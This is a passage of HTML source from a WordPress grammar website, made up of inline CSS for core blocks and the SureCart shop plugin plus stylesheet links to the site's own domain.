182-webkit-box-shadow:var(--sc-cart-icon-box-shadow,var(--sc-shadow-x-large));box-shadow:var(--sc-cart-icon-box-shadow,var(--sc-shadow-x-large));color:var(--sc-cart-counter-color,var(--sc-color-white));font-size:12px;left:auto;line-height:18px;padding:4px 10px;position:absolute;right:-8px;top:-8px;z-index:1}
183
184/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/cart-icon/style-index.css */
185</style>
186<style id="wp-emoji-styles-inline-css">
187
188	img.wp-smiley, img.emoji {
189		display: inline !important;
190		border: none !important;
191		box-shadow: none !important;
192		height: 1em !important;
193		width: 1em !important;
194		margin: 0 0.07em !important;
195		vertical-align: -0.1em !important;
196		background: none !important;
197		padding: 0 !important;
198	}
199/*# sourceURL=wp-emoji-styles-inline-css */
200</style>
201<style id="wp-block-library-inline-css">
202:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;
202--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-break:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style^=border-color],[style*=";border-color"],[style*="; border-color"]){border-style:solid}html :where([style^=border-top-color],[style*=";border-top-color"],[style*="; border-top-color"]){border-top-style:solid}html :where([style^=border-right-color],[style*=";border-right-color"],[style*="; border-right-color"]){border-right-style:solid}html :where([style^=border-bottom-color],[style*=";border-bottom-color"],[style*="; border-bottom-color"]){border-bottom-style:solid}html :where([style^=border-left-color],[style*=";border-left-color"],[style*="; border-left-color"]){border-left-style:solid}html :where([style^=border-width],[style*=";border-width"],[style*="; border-width"]){border-style:solid}html :where([style^=border-top-width],[style*=";border-top-width"],[style*="; border-top-width"]){border-top-style:solid}html :where([style^=border-right-width],[style*=";border-right-width"],[style*="; border-right-width"]){border-right-style:solid}html :where([style^=border-bottom-width],[style*=";border-bottom-width"],[style*="; border-bottom-width"]){border-bottom-style:solid}html :where([style^=border-left-width],[style*=";border-left-width"],[style*="; border-left-width"]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
203
204/*# sourceURL=/wp-includes/css/dist/block-library/common.min.css */
205</style>
206<style id="wp-block-cover-inline-css">
207.wp-block-cover,.wp-block-cover-image{align-items:center;background-position:50%;box-sizing:border-box;display:flex;justify-content:center;min-height:430px;overflow:hidden;overflow:clip;padding:1em;position:relative}.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){background-color:#000}.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{background-color:transparent}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{background-color:inherit;content:""}.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{bottom:0;left:0;opacity:.5;position:absolute;right:0;top:0}.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{opacity:.1}.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{opacity:.3}.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{opacity:.4}.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{opacity:.6}.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{opacity:.7}.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{opacity:.8}.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{opacity:1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{opacity:0}
207.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{opacity:.1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{opacity:.2}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{opacity:.3}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{opacity:.4}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{opacity:.5}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{opacity:.6}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{opacity:.7}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{opacity:.8}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{opacity:.9}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{opacity:1}.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{max-width:420px;width:100%}.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{display:flex}.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{c
207olor:inherit;position:relative;width:100%}.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{align-items:flex-start;justify-content:flex-start}.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{align-items:center;justify-content:flex-start}.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{align-items:center;justify-content:center}.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{align-items:center;justify-content:flex-end}.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{align-items:flex-end;justify-content:flex-start}.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{align-items:flex-end;justify-content:center}.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{align-items:flex-end;justify-content:flex-end}.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{margin:0}.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{margin:0;width:auto}.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{border:none;bottom:0;box-shadow:none;height:100%;left:0;margin:0;max-height:none;max-width:none;-o-object-fit:cover;object-fit:cover;outline:none;padding:0;position:absolute;right:0;top:0;width:100%}.wp-block-cover .wp-block-cover__embed-background,.wp-block-cover-image .wp-block-cover__embed-background{border:none;bottom:0;box-shadow:none;height:100%;left:0;margin:0;max-height:none;max-width:none;outline:none;padding:0;pointer-events:none;position:absolute;right:0;top:0;width:100%}.wp-block-cover .wp-block-cover__embed-background .wp-block-embed__wrapper,.wp-block-cover-image .wp-block-cover__embed-background .wp-block-embed__wrapper{bottom:0;height:100%;left:0;margin:0;padding:0;position:absolute;right:0;top:0;width:100%}.wp-block-cover .wp-block-cover__embed-background .wp-block-embed__wrapper iframe,.wp-block-cover .wp-block-cover__embed-background iframe,.wp-block-cover-image .wp-block-cover__embed-background .wp-block-embed__wrapper iframe,.wp-block-cover-image .wp-block-cover__embed-background iframe{height:100vh;left:50%;min-height:100%;min-width:100%;pointer-events:none;position:absolute;top:50%;transform:translate(-50%,-50%);width:100vw}.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:fixed;background-repeat:no-repeat;background-size:cover}@supports (-webkit-touch-callout:inherit){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}@media (prefers-reduced-motion:reduce){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{color:#fff}.wp-block-cover-image .wp-block-cover.has-left-content{justify-content:flex-start}.wp-block-cover-image .wp-block-cover.has-right-content{justify-content:flex-end}.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{margin-left:0;text-align:left}.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{margin-right:0;text-align:right}.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{font-size:2em;line-height:1.25;margin-bottom:0;max-width:840px;padding:.44em;text-align:center;z-index:1}:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){color:#fff}:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){color:#000}:root :where(.wp-block-cover h1:not(.has-text-color)),:root :where(.wp-block-cover h2:not(.has-text-color)),:root :where(.wp-block-cover h3:not(.has-text-color)),:root :where(.wp-block-cover h4:not(.has-text-color)),:root :where(.wp-block-cover h5:not(.has-text-color)),:root :where(.wp-block-cover h6:not(.has-text-color)),:root :where(.wp-block-cover p:not(.has-text-color)){color:inherit}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__video-background{z-index:0}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__embed-background{z-index:0}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__image-background{z-index:0}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__gradient-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)).has-background-dim:not(.has-background-gradient):before{z-index:1}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container{z-index:1}.has-modal-open body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container{z-index:auto}
208/*# sourceURL=https://grammarist.com/wp-includes/blocks/cover/style.min.css */
209</style>
210<style id="wp-block-paragraph-inline-css">
211.is-small-text{font-size:.875em}.is-regular-text{font-size:1em}.is-large-text{font-size:2.25em}.is-larger-text{font-size:3em}.has-drop-cap:not(:focus):first-letter{float:left;font-size:8.4em;font-style:normal;font-weight:100;line-height:.68;margin:.05em .1em 0 0;text-transform:uppercase}body.rtl .has-drop-cap:not(:focus):first-letter{float:none;margin-left:.1em}p.has-drop-cap.has-background{overflow:hidden}:root :where(p.has-background){padding:1.25em 2.375em}:where(p.has-text-color:not(.has-link-color)) a{color:inherit}p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{rotate:180deg}
212/*# sourceURL=https://grammarist.com/wp-includes/blocks/paragraph/style.min.css */
213</style>
214<style id="wp-block-group-inline-css">
215.wp-block-group{box-sizing:border-box}:where(.wp-block-group.wp-block-group-is-layout-constrained){position:relative}
216/*# sourceURL=https://grammarist.com/wp-includes/blocks/group/style.min.css */
217</style>
218
219<style id="classic-theme-styles-inline-css">
220/*! This file is auto-generated */
221.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;
221padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
222/*# sourceURL=/wp-includes/css/classic-themes.min.css */
223</style>
224
225<link data-minify="1" rel='stylesheet' id='surecart-dropdown-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/dropdown.css?ver=1789059126' media='all' />
226<link data-minify="1" rel='stylesheet' id='surecart-button-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/button.css?ver=1789059126' media='all' />
227<link data-minify="1" rel='stylesheet' id='surecart-spinner-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/spinner.css?ver=1789059126' media='all' />
228<style id="surecart-product-list-filter-tags-template-style-inline-css">
229.wp-block-surecart-product-list-filter-tags-template{width:100%}
230
231/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/product-list-filter-tags-template/style-index.css */
232</style>
233<style id="surecart-product-list-filter-tags-style-inline-css">
234.wp-block-surecart-product-list-filter-tags.is-empty{display:none}
235
236/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/product-list-filter-tags/style-index.css */
237</style>
238<style id="surecart-product-list-search-style-5-inline-css">
239.wp-block-surecart-product-list-search.sc-input-group{max-width:250px;min-height:30px;width:100%;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.wp-block-surecart-product-list-search.sc-input-group>.sc-form-control{border-radius:inherit!important}
240
241/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/product-list-search/index.css */
242</style>
243<style id="surecart-product-list-style-inline-css">
244.wp-block-surecart-product-list{-webkit-box-sizing:border-box;box-sizing:border-box;position:relative}.alignwide.wp-block-group:has(+.wp-block-surecart-product-list),.alignwide.wp-block-group:has(.wp-block-surecart-product-list),.alignwide.wp-block-surecart-product-list{margin-left:auto;margin-right:auto;max-width:100%}.is-layout-flex{display:-webkit-box;display:-ms-flexbox;display:flex}.is-layout-grid{display:-ms-grid;display:grid}
245
246/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/product-list/style-index.css */
247</style>
248<style id="surecart-product-list-price-style-inline-css">
249.wp-block-surecart-product-list-price{color:var(--sc-color-gray-700);margin:0}
250
251/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/product-price/style-index.css */
252</style>
253<style id="surecart-product-sale-badge-style-2-inline-css">
254.wp-block-surecart-product-sale-badge{-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center}
255
256/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/product-sale-badge/style-index.css */
257</style>
258<style id="surecart-product-template-style-inline-css">
259.wp-block-surecart-product-template{list-style:none!important;margin:0!important;max-width:100%;padding:0!important;width:100%}.sc-product-item{-webkit-box-sizing:border-box;box-sizing:border-box;height:100%;margin:0!important}.sc-product-item.sc-product-item--has-controls{position:relative}.sc-product-item.sc-product-item--has-controls>form{height:100%}.sc-product-item.sc-product-item--has-controls>form:has(.wp-block-surecart-product-buy-buttons){display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.sc-product-item.sc-product-item--has-controls>form>.wp-block-group:not(.is-layout-flex):not(.is-layout-grid):has(.wp-block-surecart-product-buy-buttons){-webkit-box-flex:1;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex:1 1 auto;flex:1 1 auto;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.sc-product-item.sc-product-item--has-controls>form>.wp-block-group:not(.is-layout-flex):not(.is-layout-grid):has(.wp-block-surecart-product-buy-buttons)>.wp-block-surecart-product-buy-buttons:last-child{margin-top:auto}.sc-product-item.sc-product-item--has-controls .sc-product-item-link{inset:0;position:absolute;z-index:1}.sc-product-item.sc-product-item--has-controls :is(a,button,select,input,textarea,details,label,[tabindex]):not
259(.sc-product-item-link,.sc-screen-reader-text){position:relative;z-index:2}.sc-product-item.sc-product-item--has-controls .wp-block-cover__inner-container:has(:is(a,button,select,input,textarea,details,label,[tabindex]):not(.sc-product-item-link,.sc-screen-reader-text)){z-index:2!important}.sc-product-item.sc-has-animation-fade-up{-webkit-animation-duration:var(--sc-transition-fast);animation-duration:var(--sc-transition-fast);-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-name:fadeInUp;animation-name:fadeInUp;-webkit-animation-timing-function:cubic-bezier(.4,0,.2,1);animation-timing-function:cubic-bezier(.4,0,.2,1);opacity:0}.sc-product-item.sc-has-animation-fade-up:nth-child(2n){-webkit-animation-delay:.05s;animation-delay:.05s}.sc-product-item.sc-has-animation-fade-up:nth-child(3n){-webkit-animation-delay:75ms;animation-delay:75ms}.sc-product-item.sc-has-animation-fade-up:nth-child(4n){-webkit-animation-delay:.1s;animation-delay:.1s}.sc-product-item.sc-has-animation-fade-up:nth-child(5n){-webkit-animation-delay:.125s;animation-delay:.125s}.sc-product-item.sc-has-animation-fade-up:nth-child(6n){-webkit-animation-delay:.15s;animation-delay:.15s}.sc-product-item.sc-has-animation-fade-up:nth-child(7n){-webkit-animation-delay:.175s;animation-delay:.175s}.sc-product-item.sc-has-animation-fade-up:nth-child(8n){-webkit-animation-delay:.2s;animation-delay:.2s}.sc-product-item.sc-has-animation-fade-up:nth-child(9n){-webkit-animation-delay:.225s;animation-delay:.225s}.sc-product-item.sc-has-animation-fade-up:nth-child(10n){-webkit-animation-delay:.25s;animation-delay:.25s}.sc-product-item.sc-has-animation-fade-up:nth-child(11n){-webkit-animation-delay:.275s;animation-delay:.275s}.sc-product-item.sc-has-animation-fade-up:nth-child(12n){-webkit-animation-delay:.3s;animation-delay:.3s}.sc-product-item.sc-has-animation-fade-up:nth-child(13n){-webkit-animation-delay:.325s;animation-delay:.325s}.sc-product-item.sc-has-animation-fade-up:nth-child(14n){-webkit-animation-delay:.35s;animation-delay:.35s}.sc-product-item.sc-has-animation-fade-up:nth-child(15n){-webkit-animation-delay:.375s;animation-delay:.375s}.sc-product-item.sc-has-animation-fade-up:nth-child(16n){-webkit-animation-delay:.4s;animation-delay:.4s}.sc-product-item.sc-has-animation-fade-up:nth-child(17n){-webkit-animation-delay:.425s;animation-delay:.425s}.sc-product-item.sc-has-animation-fade-up:nth-child(18n){-webkit-animation-delay:.45s;animation-delay:.45s}.sc-product-item.sc-has-animation-fade-up:nth-child(19n){-webkit-animation-delay:.475s;animation-delay:.475s}.sc-product-item.sc-has-animation-fade-up:nth-child(20n){-webkit-animation-delay:.5s;animati